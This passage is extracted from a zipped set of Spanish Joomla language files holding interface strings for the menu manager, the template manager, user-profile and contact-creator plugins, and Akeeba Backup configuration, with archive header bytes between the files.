COM_MENUS_ITEM_FIELD_SECURE_DESC="Determine entre si este enlace debe usar SSL, o no, y la URL de seguridad del sitio" COM_MENUS_ITEM_FIELD_SECURE_LABEL="Seguridad" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC="Mostrar u ocultar el título de la página en el encabezado del navegador (Si no se ha introducido un texto opcional, predeterminadamente se basará en el título del elemento del menú). El encabezado de la página, normalmente, se muestra dentro de la etiqueta 'H1'." COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL="Mostrar el encabezado de la página" COM_MENUS_ITEM_FIELD_TEMPLATE_DESC="Seleccione un estilo de plantilla para este elemento del menú, o use el estilo de la plantilla predeterminada." COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL="Estilo de la plantilla" COM_MENUS_ITEM_FIELD_TITLE_DESC="El título del elemento del menú que se mostrará en el menú." COM_MENUS_ITEM_FIELD_TITLE_LABEL="Título del elemento del menú" COM_MENUS_ITEM_FIELD_TYPE_DESC="El tipo de enlace: 'Componente', 'URL', 'Alias' o 'Separador'" COM_MENUS_ITEM_FIELD_TYPE_LABEL="Tipo de elemento del menú" COM_MENUS_ITEM_IS_DEFAULT="Es el predeterminado" COM_MENUS_ITEM_MODULE_ASSIGNMENT="Asignación de módulos para este elemento del menú" COM_MENUS_ITEM_REQUIRED="Obligatorio" COM_MENUS_ITEM_ROOT="Elemento de menú raíz" COM_MENUS_ITEMS_REBUILD_FAILED="Se ha producido un error al reconstruir la lista de elementos del menú" COM_MENUS_ITEMS_REBUILD_SUCCESS="Lista de elementos del menú reconstruida correctamente" COM_MENUS_ITEMS_SEARCH_FILTER="Buscar título o alias. Prefijo con 'ID': para buscar el 'ID' de un menú." COM_MENUS_ITEMS_SET_HOME_0="Sin elementos del menú que asignar al inicio" COM_MENUS_ITEMS_SET_HOME_1="Un elemento del menú asignado correctamente al inicio" COM_MENUS_ITEMS_SET_HOME_MORE="%d elementos del menú asignados correctamente al inicio" COM_MENUS_ITEMS_UNSET_HOME="Un elemento del menú desasignado correctamente del inicio" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Opciones de presentación" COM_MENUS_LAYOUT_MENUTYPE_OPTIONS_LABEL="Opciones del tipo de menú" COM_MENUS_LINKTYPE_OPTIONS_LABEL="Opciones del tipo de enlace" COM_MENUS_MENU_CONFIRM_DELETE="¿Está seguro de que quiere borrar estos menús? Confirmándolo, se borrarán los tipos de menú seleccionados, junto con todos sus elementos del menú y módulos de menú que tenga asociados." COM_MENUS_MENU_DESCRIPTION_DESC="Una descripción sobre el propósito del menú." COM_MENUS_MENU_DETAILS="Detalles del menú" COM_MENUS_MENU_ITEM_SAVE_SUCCESS="Elemento del menú guardado correctamente" COM_MENUS_MENU_MENUTYPE_DESC="El nombre de sistema del menú." COM_MENUS_MENU_MENUTYPE_LABEL="Tipo de menú" COM_MENUS_TYPE_SYSTEM="Enlaces del sistema" COM_MENUS_MENU_SAVE_SUCCESS="Menú guardado correctamente" COM_MENUS_MENU_TITLE_DESC="El título del menú a mostrar en la barra de navegación de la administración y sus listas." COM_MENUS_MENU_TYPE_NOT_ALLOWED="Este es un tipo de menú reservado." COM_MENUS_PAGE_OPTIONS_LABEL="Opciones de visionado en la página" ; in the following string ; %1$s is for module title, %2$s is for access-title, %3$s is for position COM_MENUS_MODULE_ACCESS_POSITION="%1$s (%2$s en %3$s)" COM_MENUS_MODULE_SHOW_VARIES="Varias" COM_MENUS_N_ITEMS_CHECKED_IN_0="Ningún elemento del menú ha sido desbloqueado correctamente" COM_MENUS_N_ITEMS_CHECKED_IN_1="%d elemento del menú ha sido desbloqueado correctamente" COM_MENUS_N_ITEMS_CHECKED_IN_MORE="%d elementos del menú han sido desbloqueados correctamente" COM_MENUS_N_ITEMS_DELETED="%d elementos del menú han sido borrados correctamente" COM_MENUS_N_ITEMS_DELETED_1="%d elemento del menú ha sido borrado correctamente" COM_MENUS_N_ITEMS_PUBLISHED="%d elementos del menú han sido publicados correctamente" COM_MENUS_N_ITEMS_PUBLISHED_1="%d elemento del menú ha sido publicado correctamente" COM_MENUS_N_ITEMS_TRASHED="%d elementos del menú han sido movidos a la papelera correctamente" COM_MENUS_N_ITEMS_TRASHED_1="%d elemento del menú ha sido movido a la papelera correctamente" COM_MENUS_N_ITEMS_UNPUBLISHED="%d elementos del menú han sido despublicados correctamente" COM_MENUS_N_ITEMS_UNPUBLISHED_1="%d elemento del menú ha sido despublicado correctamente" COM_MENUS_N_MENUS_DELETED="%d tipos de menú han sido borrados correctamente" COM_MENUS_N_MENUS_DELETED_1="Un tipo de menú ha sido borrado correctamente" COM_MENUS_NO_ITEM_SELECTED="Sin elementos del menú seleccionados" COM_MENUS_NO_MENUS_SELECTED="Sin menú seleccionado" COM_MENUS_OPTION_SELECT_LEVEL="- Seleccionar niveles máximos -" COM_MENUS_REQUEST_FIELDSET_LABEL="Opciones obligatorias" COM_MENUS_SAVE_SUCCESS="Elemento del menú guardado correctamente" COM_MENUS_SUBMENU_ITEMS="Elementos del menú" COM_MENUS_SUBMENU_MENUS="Menús" COM_MENUS_SUCCESS_REORDERED="Elemento del menú reordenado correctamente" COM_MENUS_TIP_ALIAS_LABEL="¡Advertencia!
            Deje el campo 'Alias' vacío si el alias del elemento del menú y el elemento del menú a enlazar por el alias pertenecen a la misma categoría." COM_MENUS_TIP_ASSOCIATION="Asociaciones con elementos de menú" COM_MENUS_TIP_ASSOCIATED_LANGUAGE="%s %s (%s)" COM_MENUS_TITLE_EDIT_ITEM="Gestor de menús: Editar el título del elemento" COM_MENUS_TOOLBAR_SET_HOME="Inicio" COM_MENUS_TYPE_ALIAS="Crear un alias a otro elemento del menú" COM_MENUS_TYPE_ALIAS_DESC="Crear un alias a otro elemento del menú." COM_MENUS_TYPE_CHOOSE="Seleccionar un tipo de elemento del menú:" COM_MENUS_TYPE_EXTERNAL_URL="Crear una URL" COM_MENUS_TYPE_EXTERNAL_URL_DESC="Una URL interna o externa." COM_MENUS_TYPE_SEPARATOR="Crear un separador" COM_MENUS_TYPE_SEPARATOR_DESC="Un separador del texto." COM_MENUS_TYPE_UNEXISTING="El componente '%s' no existe" COM_MENUS_TYPE_UNKNOWN="Desconocido" COM_MENUS_VIEW_EDIT_ITEM_TITLE="Gestor de menús: Editar elemento del menú" COM_MENUS_VIEW_EDIT_MENU_TITLE="Gestor de menús: Editar menú" COM_MENUS_VIEW_ITEMS_TITLE="Gestor de menús: Elementos del menú" COM_MENUS_VIEW_MENUS_TITLE="Gestor de menús: Menús" COM_MENUS_VIEW_NEW_ITEM_TITLE="Gestor de menús: Añadir un elemento de menú" COM_MENUS_VIEW_NEW_MENU_TITLE="Gestor de menús: Añadir un menú" COM_MENUS_XML_DESCRIPTION="Componente para crear menús" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="No se puede cambiar el estado de publicación de este elemento del menú, cuando el estado de su elemento principal es incompatible con el cambio de estado que se intenta aplicar." JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\L Q&language/es-ES/es-ES.com_media.sys.ininuW+A; $Id: es-ES.com_media.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MEDIA="Gestor multimedia" COM_MEDIA_XML_DESCRIPTION="Componente que permite gestionar los archivos multimedia del sitio" PK@y>\ '',language/es-ES/es-ES.plg_finder_contacts.ininuW+A; $Id: es-ES.plg_finder_contacts.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_CONTACTS="Búsquedas inteligentes - Contactos" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Este plugin indexa los contactos de Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_CONTACT="Contacto" PLG_FINDER_QUERY_FILTER_BRANCH_S_REGION="Región" PLG_FINDER_QUERY_FILTER_BRANCH_S_COUNTRY="País" PLG_FINDER_QUERY_FILTER_BRANCH_P_CONTACT="Contactos" PLG_FINDER_QUERY_FILTER_BRANCH_P_REGION="Regiones" PLG_FINDER_QUERY_FILTER_BRANCH_P_COUNTRY="Países" PK@y>\Dee*language/es-ES/es-ES.mod_quickicon.sys.ininuW+A; $Id: es-ES.mod_quickicon.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_QUICKICON="Enlaces rápidos" MOD_QUICKICON_XML_DESCRIPTION="Este módulo muestra los enlaces rápidos que son visibles desde el panel de control (En la página de inicio de la zona de la administración)" MOD_QUICKICON_LAYOUT_DEFAULT="Predeterminado" PK@y>\Vlanguage/es-ES/index.htmlnuW+A PK@y>\ N )language/es-ES/es-ES.plg_user_profile.ininuW+A; $Id: es-ES.plg_user_profile.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CONTENT_CHANGE_ARTICLE="Seleccionar o cambiar el artículo" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Seleccionar / Cambiar" COM_CONTENT_SELECT_AN_ARTICLE="Seleccionar un artículo" PLG_USER_PROFILE="Usuario - Perfil" PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC="Elija una opción para el campo 'Sobre mí'." PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL="Sobre mí:" PLG_USER_PROFILE_FIELD_ADDRESS1_DESC="Elija una opción para el campo 'Dirección 1'" PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL="Dirección 1:" PLG_USER_PROFILE_FIELD_ADDRESS2_DESC="Elija una opción para el campo 'Dirección 2'" PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL="Dirección 2:" PLG_USER_PROFILE_FIELD_CITY_DESC="Elija una opción para el campo 'Localidad'" PLG_USER_PROFILE_FIELD_CITY_LABEL="Localidad:" PLG_USER_PROFILE_FIELD_COUNTRY_DESC="Elija una opción para el campo 'País'" PLG_USER_PROFILE_FIELD_COUNTRY_LABEL="País:" PLG_USER_PROFILE_FIELD_DOB_DESC="Elija una opción para el campo 'Fecha de nacimiento'" PLG_USER_PROFILE_FIELD_DOB_LABEL="Fecha de nacimiento:" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC="Elija una opción para el campo 'Libro favorito'" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL="Libro favorito:" PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER="Campos del perfil para el formulario de edición" PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER="Campos del perfil para los formularios de registro y administración" PLG_USER_PROFILE_FIELD_PHONE_DESC="Elija una opción para el campo 'Teléfono'" PLG_USER_PROFILE_FIELD_PHONE_LABEL="Teléfono:" PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC="Elija una opción para el campo 'Código postal'" PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL="Código postal:" PLG_USER_PROFILE_FIELD_REGION_DESC="Elija una opción para el campo 'Provincia'" PLG_USER_PROFILE_FIELD_REGION_LABEL="Provincia:" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC="Seleccione los términos y condiciones del servicio para el artículo que desee desde la lista" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL="Seleccionar 'TOS' del artículo:" PLG_USER_PROFILE_FIELD_TOS_DESC="De acuerdo con los términos de servicio" PLG_USER_PROFILE_FIELD_TOS_LABEL="Términos del servicio:" PLG_USER_PROFILE_FIELD_WEB_SITE_DESC="Elija una opción para el campo 'Sitio web'" PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL="Sitio web:" PLG_USER_PROFILE_OPTION_AGREE="De acuerdo" PLG_USER_PROFILE_SLIDER_LABEL="Perfil de usuario" PLG_USER_PROFILE_XML_DESCRIPTION="Plugin del perfil de usuario" PK@y>\b YY0language/es-ES/es-ES.plg_system_languagecode.ininuW+A; $Id: es-ES.plg_system_languagecode.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_LANGUAGECODE="Sistema - Código del idioma" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Cambia el código del idioma para el idioma %s" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Cambia el código del idioma para el documento HTML generado. Por ejemplo, si alguien tiene instalado el paquete del idioma 'fr-FR' y quiere que los motores de búsqueda le reconozcan la página como a la de un hablante de francés de Canadá, añadiendo la etiqueta 'fr-CA' al campo correspondiente del 'fr-FR' se resolverá usando el mismo idioma para el sitio pero con esa localización geográfica (Según el ejemplo: Canadá)." PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Códigos del idioma" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Proporciona la habilidad de poder cambiar el código del idioma en el HTML generado para mejorar SEO.
            Los campos aparecerán cuando el plugins haya sido habilitado y guardado.
            Para más información visite: href="_QQ_"http://www.w3.org/TR/xhtml1/#docconf"_QQ_">W3.org " PK@y>\ys))&language/es-ES/es-ES.com_templates.ininuW+A; $Id: es-ES.com_templates.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_TEMPLATES="Gestor de plantillas" COM_TEMPLATES_ADVANCED_FIELDSET_LABEL="Opciones avanzadas" COM_TEMPLATES_ASSIGNED_1="Asignado a un elemento del menú" COM_TEMPLATES_ASSIGNED_MORE="Asignado a %d elementos del menú" COM_TEMPLATES_BASIC_FIELDSET_LABEL="Opciones básicas" COM_TEMPLATES_CLICK_TO_ENLARGE="Haga clic para alargarlo." COM_TEMPLATES_CONFIG_FIELDSET_DESC="Configuración global para las plantillas" COM_TEMPLATES_CONFIG_POSITIONS_DESC="Habilitar la previsualización de las posiciones de los módulos en la plantilla, añadiendo 'tp=1' en la direción URL. También se habilita el botón 'Previsualizar', en el gestor de plantillas. Por favor, actualice esta página después de cambiar este dato en la configuración." COM_TEMPLATES_CONFIG_POSITIONS_LABEL="Previsualizar la posición de los módulos" COM_TEMPLATES_CONFIGURATION="Opciones del gestor de plantillas" COM_TEMPLATES_COPY_SUCCESS="La nueva plantilla llamada %s ha sido instalada correctamente." COM_TEMPLATES_ERR_XML="Los datos XML de la plantilla no están disponibles" COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE="No se ha podido borrar el último estilo de la plantilla" COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE="No se ha podido desasignar el estilo predeterminado de la plantillla" COM_TEMPLATES_ERROR_COULD_NOT_COPY="No se han podido copiar los archivos de la plantilla al directorio temporal." COM_TEMPLATES_ERROR_COULD_NOT_INSTALL="No se ha podido intalar la nueva plantilla desde el directorio temporal." COM_TEMPLATES_ERROR_COULD_NOT_WRITE="No se ha podido eliminar el directorio temporal." COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED="No se ha podido crear el directorio temporal." COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME="Ya hay una plantilla instalada con el mismo nombre." COM_TEMPLATES_ERROR_EDITOR_DISABLED="Determina si los plugins tipo editor 'CodeMirror' o 'Sin editor' se pueden habilitar para editar archivos de plantillas" COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND="No se ha podido encontrar el registro de la extensión en la base de datos" COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME="Se ha producido un error. No se puede guardar el archivo %s." COM_TEMPLATES_ERROR_INVALID_FROM_NAME="No se ha podido encontrar la plantilla desde donde hacer la copia." COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME="El nombre de la plantilla es inválido. Por favor, use solo letras, números, guiones y guiones bajos." COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE="No se ha podido guardar un estilo que está asociado a una plantilla deshabilitada" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND="El archivo de origen no ha sido encontrado" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_UNWRITABLE="El archivo de origen no se puede volver a dejar en un estado no escribible" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE="El archivo de origen no es escribible" COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH="El 'ID' almacenado no se corresponde con el enviado" COM_TEMPLATES_ERROR_STYLE_NOT_FOUND="Estilo no encontrado" COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE="El estilo necesita tener un título" COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND="La carpeta de la plantilla no ha sido encontrado" COM_TEMPLATES_FIELD_CLIENT_DESC="Se determina si esta plantilla es para usarse en el sitio (valor '0') o en la administración (valor '1')" COM_TEMPLATES_FIELD_CLIENT_LABEL="Localización" COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC="Se determina si el estilo de la plantilla es el definido como predeterminado, o no" COM_TEMPLATES_FIELD_HOME_LABEL="Predeterminado" COM_TEMPLATES_FIELD_HOME_SITE_DESC="Si la funcionalidad para múltiples idiomas no está implementada, por favor, limite su selección entre 'No' y 'Todos'. El estilo de la plantilla será definido, o no, igual que el del estilo global de la plantilla.
            Si el plugin 'Sistema - Filtrar idioma' está habilitado, y usted está usando diferentes plantillas, por favor, asigne un idioma a este estilo dependiendo de sus idiomas del contenido." COM_TEMPLATES_FIELD_SOURCE_DESC="Código fuente" COM_TEMPLATES_FIELD_SOURCE_LABEL="Código fuente" COM_TEMPLATES_FIELD_TEMPLATE_DESC="Nombre de la plantilla" COM_TEMPLATES_FIELD_TEMPLATE_LABEL="Plantilla" COM_TEMPLATES_FIELD_TITLE_DESC="Nombre del estilo" COM_TEMPLATES_FIELD_TITLE_LABEL="Nombre del estilo" COM_TEMPLATES_FILE_SAVE_SUCCESS="El archivo ha sido guardado correctamente" COM_TEMPLATES_FILTER_TEMPLATE="- Seleccionar plantilla -" COM_TEMPLATES_FTP_DESC="Para poder actualizar los archivos de su plantilla, Joomla! podría necesitar los detalles de acceso a su cuenta FTP. Por favor, introdúzcalos en los campos del formulario de más abajo" COM_TEMPLATES_FTP_TITLE="Detalles de acceso al FTP" COM_TEMPLATES_GRID_UNSET_LANGUAGE="Desasignar %s predeterminado" COM_TEMPLATES_HEADING_ASSIGNED="Asignado" COM_TEMPLATES_HEADING_DEFAULT="Predeterminado" COM_TEMPLATES_HEADING_STYLE="Estilo" COM_TEMPLATES_HEADING_TEMPLATE="Plantilla" COM_TEMPLATES_MANAGER="Gestor de plantillas" COM_TEMPLATES_MANAGER_ADD_STYLE="Gestor de plantillas: Añadir un estilo" COM_TEMPLATES_MANAGER_EDIT_FILE="Gestor de plantillas: Editar archivo" COM_TEMPLATES_MANAGER_EDIT_STYLE="Gestor de plantillas: Editar estilo" COM_TEMPLATES_MANAGER_STYLES="Gestor de plantillas: Estilos" COM_TEMPLATES_MANAGER_TEMPLATES="Gestor de plantillas: Plantillas" COM_TEMPLATES_MANAGER_VIEW_TEMPLATE="Gestor de plantillas: Personalizar plantilla" COM_TEMPLATES_MENU_CHANGED_1="Un elemento del menú ha sido asignado o desasignado a este estilo" COM_TEMPLATES_MENU_CHANGED_MORE="%d elementos del menú, han sido asignados o desasignados a este estilo" COM_TEMPLATES_MENUS_ASSIGNMENT="Asignación a los menús" COM_TEMPLATES_MSG_MANAGE_NO_STYLES="No se han encontrado estilos instalados que coincidan con su consulta" COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES="No se han encontrado plantillas instaladas que coincidan con su consulta" COM_TEMPLATES_N_ITEMS_DELETED="%d estilos de la plantilla borrados correctamente" COM_TEMPLATES_N_ITEMS_DELETED_1="Estilo de la plantilla borrado correctamente" COM_TEMPLATES_NO_TEMPLATE_SELECTED="Sin plantilla seleccionada" COM_TEMPLATES_PREVIEW="Previsualizar" COM_TEMPLATES_SITE_PREVIEW="Previsualización del sitio" COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE="No se ha podido borrar el estilo predeterminado" COM_TEMPLATES_STYLE_SAVE_SUCCESS="Estilo guardado correctamente" COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC="Buscar en la descripción del estilo." COM_TEMPLATES_SUBMENU_STYLES="Estilos" COM_TEMPLATES_SUBMENU_TEMPLATES="Plantillas" COM_TEMPLATES_SUCCESS_DUPLICATED="El estilo ha sido duplicado correctamente." COM_TEMPLATES_SUCCESS_HOME_SET="El estilo predeterminado ha sido asignado correctamente." COM_TEMPLATES_SUCCESS_HOME_UNSET="El estilo predeterminado ha sido desasignado correctamente." COM_TEMPLATES_TEMPLATE_ADD_CSS="Añadir una nueva hoja de estilo" COM_TEMPLATES_TEMPLATE_ADD_ERROR="Añadir una página de error personalizada para la plantilla (opcional)" COM_TEMPLATES_TEMPLATE_COPY="Copiar plantilla" COM_TEMPLATES_TEMPLATE_CSS="Hojas de estilo" COM_TEMPLATES_TEMPLATE_DESCRIPTION="Descripción de la plantilla" COM_TEMPLATES_TEMPLATE_DETAILS="Detalles y archivos de la plantilla %s" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Editar %s" COM_TEMPLATES_TEMPLATE_EDIT_ERROR="Página de error de la plantilla" COM_TEMPLATES_TEMPLATE_EDIT_MAIN="Editar la página principal de la plantilla" COM_TEMPLATES_TEMPLATE_EDIT_OFFLINEVIEW="Editar la plantilla para el sitio fuera de línea" COM_TEMPLATES_TEMPLATE_EDIT_PRINTVIEW="Editar la vista de impresión de la plantilla" COM_TEMPLATES_TEMPLATE_FILENAME="Editando el archivo "_QQ_"%s"_QQ_" de la plantilla "_QQ_"%s"_QQ_"." COM_TEMPLATES_TEMPLATE_HTML="Archivos HTML" COM_TEMPLATES_TEMPLATE_MASTER_FILES="Archivos principales de la plantilla" COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC="Nuevo nombre de plantilla::Introduzca el nombre de la nueva plantilla. Por favor, use solo letras, números y guiones bajos." COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL="Nuevo nombre de plantilla" COM_TEMPLATES_TEMPLATE_NO_PREVIEW="Sin previsualización disponible. Puede habilitar esta opción desde las preferencias" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN="La previsualización de plantillas de la administración no está disponible" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC="Para habilitar la previsualización de plantillas, configure apropiadamente la opción 'Previsualizar las posiciones de los módulos' desde las 'Opciones del gestor de plantillas'" COM_TEMPLATES_TEMPLATE_NOT_SPECIFIED="Sin plantilla especificada." COM_TEMPLATES_TEMPLATE_PREVIEW="Previsualizar" COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC="Buscar en el nombre de la plantilla o en el nombre de carpeta de la plantilla." COM_TEMPLATES_TOOLBAR_SET_HOME="Predeterminada" COM_TEMPLATES_XML_DESCRIPTION="Este componente gestiona las plantillas" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\0language/es-ES/es-ES.plg_user_contactcreator.ininuW+A; $Id: es-ES.plg_user_contactcreator.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTACTCREATOR_ERR_FAILED_UPDATE="Fallo al actualizar el contacto: %s" PLG_CONTACTCREATOR_ERR_NO_CATEGORY="¡Creación automática de contacto fallida, porque la categoría de contacto no está asignada!" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC="Una cadena formateada para que automáticamente se genere una página de contacto. '[name]' se reemplaza con el nombre, '[username]' se reemplaza con el usuario, '[userid]' se reemplaza con el 'ID' de usuario y '[email]' se reemplaza con la dirección de correo electrónico" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL="Página web automática" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC="Opcionalmente se configura predeterminadamente al contacto como publicado o despublicado" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL="Publicar automáticamente al contacto" PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC="La categoría a la que asignar a los contactos predeterminadamente" PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin que permite crear automáticamente la información de contacto para los nuevos usuarios" PLG_USER_CONTACTCREATOR="Usuario - Creador de contactos" PK@y>\אnFnF#language/es-ES/es-ES.com_akeeba.ininuW+A; version 3.3.b2 2011-07-29 00:00:00 ; author Isidro Baquero - Carlos M. Cámara - Gnumla.com ; copyright Gnumla.com ; license GPL TRANSLATION_LANGUAGE="Español (Formato internacional)" TRANSLATION_AUTHOR="Isidro Baquero y Carlos M. Cámara" TRANSLATION_AUTHOR_URL="http://www.gnumla.com" AKEEBA="Respaldo Akeeba" PROFILES="Administración de perfiles" CONFIGURATION="Configuración" BACKUP="Respaldar ahora" BUADMIN="Administrar Ficheros de Respaldo" VIEWLOG="Ver el registro" FSFILTERS="Exclusión de Ficheros y Directorios" REGEXFSFILTERS="Exclusión de Ficheros y Directorios con Expresiones Regulares" REGEXDBFILTERS="Exclusión de las tablas de la Base de Datos con Expresiones Regulares" MULTIDB="Definición de varias bases de datos" EXTRADIRS="Incluir directorios fuera del sitio" DBEF="Exclusión de Tablas de la Base de Datos" EXTFILTER="Filtros de extensión" LIVEUPDATE="Actualización en vivo" RESTORATION="Restauración del sitio" TABLE_PROFILE_NODESCRIPTION="La definición del perfil no tiene una descripción" TABLE_PROFILE_CANNOTDELETEDEFAULT="No puede eliminar el perfil por defecto (el que tiene id=1)" COM_AKEEBA_CONFIGURATION="Configuración de Akeeba Backup" CONFIG_ACL_HEADER_LABEL="Control de Acceso" CONFIG_ACL_HEADER_DESC="Akeeba Backup puede permitir a los usuarios de la parte privada con privilegios inferiores acceder a sus funciones si lo desea." CONFIG_FRONTEND_HEADER_LABEL="Respaldo desde la parte pública" CONFIG_FRONTEND_HEADER_DESC="Esto le permite activar el modoe legado y los modos ligeros de respaldo desde la parte pública" CONFIG_LIVEUPDATE_HEADER_LABEL="Actualización en vivo" CONFIG_LIVEUPDATE_HEADER_DESC="Esta sección es usada internamente por Akeeba Backup cuando realiza comprobaciones en vivo de las actualizaciones" CONFIG_BACKEND_HEADER_LABEL="Parte de administración" CONFIG_BACKEND_HEADER_DESC="Opciones para indicar a Akeeba Backup cómo manejar los scripts de administración" CONFIG_BACKEND_JQUERYSRC_LABEL="Código jQuery" CONFIG_BACKEND_JQUERYSRC_DESC="jQuery potencia los scripts del cliente de la parte de administración de Akeeba Backup. Si otro componente/plugin ya carga jQuery y la interfaz gráfica de Akeeba Backup no funciona 